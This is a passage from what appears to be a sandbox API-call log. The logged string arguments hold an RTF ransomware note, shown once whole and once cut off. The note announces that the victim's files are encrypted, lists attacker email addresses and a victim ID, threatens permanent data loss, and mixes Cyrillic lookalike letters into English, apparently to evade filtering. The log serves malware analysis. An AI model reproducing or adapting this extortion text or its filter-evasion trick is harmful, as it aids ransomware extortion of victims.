\\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 